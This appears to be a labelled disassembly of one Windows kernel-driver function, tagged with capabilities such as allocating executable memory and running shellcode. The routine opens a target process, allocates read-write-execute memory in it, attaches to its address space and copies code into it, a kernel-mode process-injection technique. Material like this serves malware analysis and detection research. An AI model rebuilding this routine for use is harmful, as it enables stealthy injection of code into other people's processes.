Function at 0x1f7f6
Capabilities:
Allocate or change rwx memory
Attach user process memory
Execute shellcode via indirect call

Disassembly:
push 0x24
push 0x13a80
call fcn.00010980
mov eax, dword [ebp + 0x14]
xor ecx, ecx
mov dword [eax], ecx
mov eax, dword [ebp + 0x18]
mov dword [eax], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp + 0x10]
mov esi, dword [eax + 0x9c]
add esi, 0xa0
mov ebx, 0x11db7
sub ebx, 0x11cec
mov dword [ebp - 0x1c], 0xc0000023
mov edi, dword [ebp + 0xc]
cmp edi, ecx
je 0x1f84e
lea eax, [ebx + esi + 4]
mov dword [ebp - 0x24], eax
cmp edi, eax
jb 0x1f99c
lea eax, [ebp - 0x2c]
push eax
push ecx
push ecx
push 0x1f0fff
push ecx
push 0x200
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_ObOpenObjectByPointer]
mov dword [ebp - 0x1c], eax
test eax, eax
jl 0x1f99c
lea eax, [ebx + esi]
mov dword [ebp - 0x24], eax
cmp eax, edi
jae 0x1f880
mov dword [ebp - 0x24], edi
push 0x40
push 0x1000
lea eax, [ebp - 0x24]
push eax
push 0
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov dword [ebp - 0x1c], eax
test eax, eax
jl 0x1f99c
test edi, edi
je 0x1f8b5
mov edi, dword [ebp - 0x24]
sub edi, ebx
sub edi, esi
add edi, dword [ebp - 0x28]
jmp 0x1f8b8
mov edi, dword [ebp - 0x28]
mov dword [ebp - 0x30], edi
lea eax, [edi + esi]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], 0xc0000001
push 0x18
pop eax
mov dword [ebp - 0x24], eax
push 0x4d415043
push eax
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x1f99c
push eax
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
and dword [ebp - 4], 0
push esi
push dword [ebp + 0x10]
push edi
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
push esi
push edi
lea eax, [edi + 0x40]
push eax
push 0
lea eax, [edi + 0x80]
push eax
call fcn.0001c422
mov dword [ebp - 0x1c], eax
test eax, eax
jge 0x1f926
mov dword [ebp - 4], 0xfffffffe
jmp 0x1f99c
cmp dword [ebp + 0xc], 0
je 0x1f92f
mov dword [edi - 4], edi
push ebx
push 0x11cec
push dword [ebp - 0x34]
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
mov dword [ebp - 4], 0xfffffffe
jmp 0x1f95e
cmp dword [ebp - 0x1c], 0
jl 0x1f99c
push dword [ebp - 0x20]
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
push 0x4d415043
push dword [ebp - 0x20]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
and dword [ebp - 0x20], 0
mov eax, dword [ebp + 0x14]
mov dword [eax], edi
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 0x34]
mov dword [eax], ecx
mov eax, dword [ebp + 0x1c]
test eax, eax
je 0x1f998
mov ecx, dword [ebp - 0x28]
mov dword [eax], ecx
and dword [ebp - 0x1c], 0
cmp dword [ebp - 0x20], 0
je 0x1f9b9
push dword [ebp - 0x20]
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
push 0x4d415043
push dword [ebp - 0x20]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jge 0x1f9de
cmp dword [ebp - 0x28], eax
je 0x1f9de
mov dword [ebp - 0x24], eax
push 0x8000
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.ntoskrnl.exe_ZwFreeVirtualMemory]
cmp dword [ebp - 0x2c], 0
je 0x1f9ed
push dword [ebp - 0x2c]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [ebp - 0x1c]
call fcn.000109c5
ret 0x18